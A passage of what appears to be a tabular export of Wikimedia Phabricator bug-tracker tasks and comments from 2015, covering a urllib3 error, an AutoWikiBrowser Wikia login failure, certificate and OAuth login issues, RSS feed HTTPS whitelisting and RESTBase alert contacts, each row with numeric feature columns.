Yes, that looks like it.  Honestly it doesnt appear to difficult to solve in urllib3.  Maybe clone the urllib3 repo and attempt to fix it?  If you find a solution, we can provide a first code review, then you can submit a pull request to urllib3.",,,1436929707,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,5.0,2.0,5.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,11.0,7.0,2.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5081967213114753,0.7049180327868853,"QUOTE
QUOTE

Yes, that looks like it.  Honestly it doesnt appear to difficult to solve in urllib3.  Maybe clone the urllib3 repo and attempt to fix it?  If you find a solution, we can provide a first code review, then you can submit a pull request to urllib3."
491236,TypeError with ndg-httpsclient on Python2.7,Related issue: https://github.com/shazow/urllib3/issues/556,,,1436861584,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Related issue: URL
105160,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"**description**: 
**workaround**: 
--------------------------

<table><tr><th>Exception:</th><td>`ApiErrorException`</td></tr>
<tr><th>Message:</th><td>`API returned the following error: 'The login module requires a POST request'`</td></tr>
<tr><th>Call stack:</th><td><pre>   at WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   at WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   at WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)</pre></td></tr>
</table>
**OS**: Microsoft Windows NT 6.1.7601 Service Pack 1
**version**: AutoWikiBrowser (5.6.0.0), WikiFunctions (5.6.0.0), revision 11138 (2015-06-13 14:30:28)
**net**: 2.0.50727.5420
**duplicate**: 
**site**: http://camphalfblood.wikia.com
",Needs Triage,90.0,1436364793,1454362333.0,PHID-USER-tdr5snvuc2ykkapmjc5z,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-ovwfqa2xg36pqygot4sj,task_description,duplicate,True,c3,3,False,False,False,0,True,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,0.0,0.0,1.5,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,7.0,4.297297297297297,0.4797297297297297,"**description**: 
**workaround**: 
--------------------------

<table><tr><th>Exception:</th><td>CODE</td></tr>
<tr><th>Message:</th><td>CODE</td></tr>
<tr><th>Call stack:</th><td><pre>   at WikiFunctions.API.ApiEdit.CheckForErrors(String xml, String action)
   at WikiFunctions.API.ApiEdit.Login(String username, String password, String domain)
   at WikiFunctions.Profiles.AWBProfilesForm.PerformLogin(String username, String password)</pre></td></tr>
</table>
**OS**: Microsoft Windows NT 6.1.7601 Service Pack 1
**version**: AutoWikiBrowser (5.6.0.0), WikiFunctions (5.6.0.0), revision 11138 (2015-06-13 14:30:28)
**net**: 2.0.50727.5420
**duplicate**: 
**site**: URL
"
492442,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"Bug reported in http://wiki.openstreetmap.org too.

In http://wici.porth.ac.uk too and version 5.5.3.0",,,1437063488,,PHID-USER-juznrlc2myguw74yvjkn,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.8461538461538461,"Bug reported in URL too.

In URL too and version 5.5.3.0"
489110,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"@Josve05a, they can but generally they use a default one. I checked tonight and AWB seems to be working on wikia.military for both my username and my bot. I'm an admin, so I guess its possible that could be a factor, but as far as I can tell its working fine so it must be a setting on that wiki.",,,1436412290,,PHID-USER-yue5rzfyxiyeqbxu5yh3,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,9.0,0.0,6.0,9.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,6.0,3.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,9.0,1.0,7.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,16.0,9.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,6.0,0.0,3.0,0.0,0.0,0.0,3.5671641791044775,0.6716417910447762,"SCREEN_NAME, they can but generally they use a default one. I checked tonight and AWB seems to be working on wikia.military for both my username and my bot. I'm an admin, so I guess its possible that could be a factor, but as far as I can tell its working fine so it must be a setting on that wiki."
488786,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Does different Wikia-wikis have different configs?,,,1436378328,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.8888888888888888,Does different Wikia-wikis have different configs?
488785,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),Does different Wiki-wikis have different configs?,,,1436378318,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,0.8888888888888888,Does different Wiki-wikis have different configs?
488758,Wikia: ApiErrorException in ApiEdit.CheckForErrors (The login module requires a POST request) (Wikia config?),"Just as a note, I was able to do some edits at Wikia last night with AWB. So it may have been a momentary glitch. I'll try again tonight when I get home and report back on the results but it will be late.",,,1436376591,,PHID-USER-yue5rzfyxiyeqbxu5yh3,False,,,PHID-TASK-ovwfqa2xg36pqygot4sj,task_subcomment,,True,c3,3,False,,,0,True,2.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,6.0,14.0,2.0,4.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,4.0,0.0,0.0,0.0,10.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8775510204081632,"Just as a note, I was able to do some edits at Wikia last night with AWB. So it may have been a momentary glitch. I'll try again tonight when I get home and report back on the results but it will be late."
105099,Use Material Design - Single line text fields for login forms on Android,https://www.google.com/design/spec/components/text-fields.html#,Needs Triage,90.0,1436311793,1436971835.0,PHID-USER-rooknayvbydy6sodz3lx,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-vbxnu4twhqa46siyjsyx,task_description,duplicate,True,c3,3,False,False,True,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
488364,Use Material Design - Single line text fields for login forms on Android,"Current state of forms:

{F190144}

{F190145}",,,1436311815,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-vbxnu4twhqa46siyjsyx,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.230769230769231,0.7692307692307693,"Current state of forms:

{F190144}

{F190145}"
105098,Certificate error on https://www.meta.wikimedia.org/ redirect,"https://www.meta.wikimedia.org/  gives a ssl_error_bad_cert_domain error.

(To clarify, if this redirect to meta.wikimedia.org were to be removed entirely, my own personal mourning period would be a rather brief one involving only a limited amount of tears, but a while ago people seem to have thought it would be a good idea: {T3698}, and I just saw someone using such a link in an internal document.)",Needs Triage,90.0,1436310936,1436644058.0,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5bho3524wdexmkl4if7r,task_description,duplicate,True,c3,3,True,False,True,0,True,0.0,1.0,1.0,1.0,0.0,8.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,6.0,9.0,1.0,4.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,5.0,5.0,1.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,9.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,4.0519480519480515,0.8181818181818182,"URL  gives a ssl_error_bad_cert_domain error.

(To clarify, if this redirect to meta.wikimedia.org were to be removed entirely, my own personal mourning period would be a rather brief one involving only a limited amount of tears, but a while ago people seem to have thought it would be a good idea: {T3698}, and I just saw someone using such a link in an internal document.)"
490501,Certificate error on https://www.meta.wikimedia.org/ redirect,"www.$lang.$project.org domains were also killed recently due to this issue (T102815).

I think this should also probably be killed considering that www.lang domains were killed even though there is heavier linking to those domains. Same issue for www.commons and www.nl. (cc. @BBlack)",,,1436637934,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-5bho3524wdexmkl4if7r,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,10.0,12.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,12.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,12.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.862745098039215,0.7254901960784313,"www.$lang.$project.org domains were also killed recently due to this issue (T102815).

I think this should also probably be killed considering that www.lang domains were killed even though there is heavier linking to those domains. Same issue for www.commons and www.nl. (cc.SCREEN_NAME)"
104932,Using OAuth should not require a login for new users,"Steps to reproduce:
# register a new account on enwiki
# go to https://tools.wmflabs.org/oauth-hello-world/
# click ""Authorize this application""

Expected result: you get the OAuth dialog

Actual result: you need to log in first

This is because users are globally logged in when they log in, but not when they register. This is apparently somewhat intentional to avoid account creation spam (T18864). The OAuth central wiki will be spammed anyway due to the autocreation job that was put in place because of T74469, so there is no reason not to autologin there, and it would make the OAuth workflow smoother.

-----
See also T94885",Needs Triage,90.0,1436230829,1473232073.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-wdf7hbd7pd34ntmuosgp,task_description,resolved,True,c3,3,True,True,False,0,True,0.0,0.0,0.0,2.0,1.5,4.0,0.5,1.5,0.0,0.0,2.5,0.0,0.0,1.0,1.0,0.0,0.0,6.0,9.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,5.0,2.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,10.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,4.0,10.0,2.5,2.0,6.0,0.0,0.0,0.0,1.5,8.0,1.0,0.0,0.0,3.0,9.5,4.0,0.0,1.0,0.0,3.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,3.9700460829493087,0.7766257040450588,"Steps to reproduce:
# register a new account on enwiki
# go to URL
# click ""Authorize this application""

Expected result: you get the OAuth dialog

Actual result: you need to log in first

This is because users are globally logged in when they log in, but not when they register. This is apparently somewhat intentional to avoid account creation spam (T18864). The OAuth central wiki will be spammed anyway due to the autocreation job that was put in place because of T74469, so there is no reason not to autologin there, and it would make the OAuth workflow smoother.

-----
See also T94885"
723873,Using OAuth should not require a login for new users,This was fixed by AuthManager. New users are immediately globally logged in now.,,,1473232073,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-wdf7hbd7pd34ntmuosgp,task_subcomment,,True,c3,3,True,,,61,True,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,This was fixed by AuthManager. New users are immediately globally logged in now.
493407,Using OAuth should not require a login for new users,Another approach is that Special:OAuth should start a global login procedure if the user is not logged in locally.,,,1437255499,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-wdf7hbd7pd34ntmuosgp,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,14.0,9.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9545454545454546,Another approach is that Special:OAuth should start a global login procedure if the user is not logged in locally.
104727,add HTTPS variants for wmfblog in <rss> feed whitelists,"add HTTPS variants for wmfblog in <rss> feed whitelist.

`<rss max=""6"">https://blog.wikimedia.org/feed/</rss>` yields:
Extension:RSS -- Error: Error: ""https://blog.wikimedia.org/feed/"" is not in the whitelist of allowed feeds. The allowed feeds are as follows: http://blog.wikimedia.org/feed/, http://blog.wikimedia.org/c/our-wikis/wikimediacommons/feed/ and http://blog.wikimedia.org/c/communications/picture-of-the-day/feed/. ",Needs Triage,90.0,1435949953,1438039950.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-zstb3i7fhbl3umbgoehm,task_description,resolved,True,c3,3,False,False,True,0,True,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,23.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5319148936170213,0.723404255319149,"add HTTPS variants for wmfblog in <rss> feed whitelist.

CODE yields:
Extension:RSS -- Error: Error: ""URL is not in the whitelist of allowed feeds. The allowed feeds are as follows: URL URL and URL "
497890,add HTTPS variants for wmfblog in <rss> feed whitelists,"Change 222691 merged by jenkins-bot:
Add HTTPS variants for RSS feed whitelists

[[https://gerrit.wikimedia.org/r/222691]]",,,1438039196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zstb3i7fhbl3umbgoehm,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.9090909090909091,"Change 222691 merged by jenkins-bot:
Add HTTPS variants for RSS feed whitelists

[[GERRIT_URL]]"
486370,add HTTPS variants for wmfblog in <rss> feed whitelists,"Change 222691 had a related patch set uploaded (by Jeremyb):
add HTTPS variants for wmfblog in <rss> feed whitelists

[[https://gerrit.wikimedia.org/r/222691]]
",,,1435950754,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zstb3i7fhbl3umbgoehm,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.7419354838709675,0.9032258064516129,"Change 222691 had a related patch set uploaded (by Jeremyb):
add HTTPS variants for wmfblog in <rss> feed whitelists

[[GERRIT_URL]]
"
104656,Add services team as a contact alert for RESTBase back-end HTTP checks,As of https://gerrit.wikimedia.org/r/222272 we have HTTP checks in place to ensure each of the RESTBase nodes responds to simple queries. The Services team would need to be able to receive mails when such checks fail to ensure a prompt response.,Needs Triage,90.0,1435878993,1435880265.0,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_description,resolved,True,c3,3,True,True,True,0,True,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,21.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,14.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,21.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.261904761904762,0.8095238095238095,As of GERRIT_URL we have HTTP checks in place to ensure each of the RESTBase nodes responds to simple queries. The Services team would need to be able to receive mails when such checks fail to ensure a prompt response.
485972,Add services team as a contact alert for RESTBase back-end HTTP checks,"applied on neon:


```
-	contact_groups                 admins
+	contact_groups                 admins,team-services
 	host_name                      restbase1001

```
...",,,1435880402,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4166666666666665,0.75,"applied on neon:


``CODE``
..."
485971,Add services team as a contact alert for RESTBase back-end HTTP checks,"Thank you, @Dzahn !",,,1435880291,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Thank you,SCREEN_NAME !"
485967,Add services team as a contact alert for RESTBase back-end HTTP checks,"Change 222508 merged by Dzahn:
Add the Services team to the contact list for RESTBase HTTP checks

[[https://gerrit.wikimedia.org/r/222508]]",,,1435880076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzkamw6ajqc4pqyxjyeo,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,28.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.92,0.88,"Change 222508 merged by Dzahn:
